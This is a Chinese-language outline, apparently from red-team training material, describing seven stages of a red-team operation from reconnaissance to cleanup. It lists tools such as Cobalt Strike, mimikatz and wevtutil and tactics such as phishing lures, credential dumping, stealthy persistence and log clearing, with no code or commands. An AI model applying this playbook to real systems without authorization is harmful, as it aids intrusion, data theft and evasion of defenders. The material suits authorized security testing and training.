紅隊作戰不只是一次入侵，更是一套從偵察到清理、多團隊協作的全流程戰役。體系化能保證每個環節有章可循、可審計、可優化，就像現代化軍隊打仗：情報→打擊→補給→收尾一個都不能少。

2.2 紅隊作戰七大階段

階段	戰術比喻	核心工作	關鍵輸出
1. 偵察	偵察兵前線踩點	收集域名、IP、子網、員工社工信息	情報報告（Targets.xlsx）
2. 初始訪問	破門斥候	利用釣魚、漏洞、弱口令取得首個會話	初始Shell/Beacon會話
3. 權限升級	突擊隊突擊	本地提權、繞過UAC、憑證轉儲	SYSTEM/DOMAIN ADMIN權限
4. 橫向移動	裝載車隊	利用Pass-the-Hash/Pass-the-Ticket等	多臺主機Meterpreter會話
5. 持久化	架橋補給	安排后門、計劃任務、服務劫持	持久化腳本 & 監控文檔
6. 目標達成	核心火力打擊	數據竊取、敏感信息定位、權限濫用	敏感數據包、截圖、鍵盤記錄
7. 清理歸航	撤離特種部隊	日志清理、進程遷移、工單回溯	清理腳本、取證日志、交付報告

階段細節與工具

偵察
- 工具：nmap、theHarvester、shodan、社工框架
- 輸出：資產清單、員工郵箱列表、VPN/外網入口
初始訪問
- 工具：Metasploit Exploit、釣魚平臺（GoPhish）、Cobalt Strike
- 注意：一定要設計“誘餌”頁面/郵件，提高點擊率
權限升級
- 工具：getsystem、Windows Exploit Suggester、linPEAS
- 要點：先收集補丁信息，再精準選擇提權模塊
橫向移動
- 工具：wmiexec.py、pth-toolkit、CrackMapExec
- 要點：憑證復用+域信任利用+端口轉發
持久化
- 工具：persistence腳本、schtasks、sc.exe、WMI Subscription
- 要點：多種方式輪換執行，降低被發現概率
目標達成
- 工具：hashdump、mimikatz、SharpHound、BloodHound
- 輸出：敏感文檔、PPT、數據庫爆破結果等
清理歸航
- 工具：clearev、wevtutil、forensic script
- 嚴謹：交付紅隊報告時，附上“所有腳本+執行日志”供藍隊驗證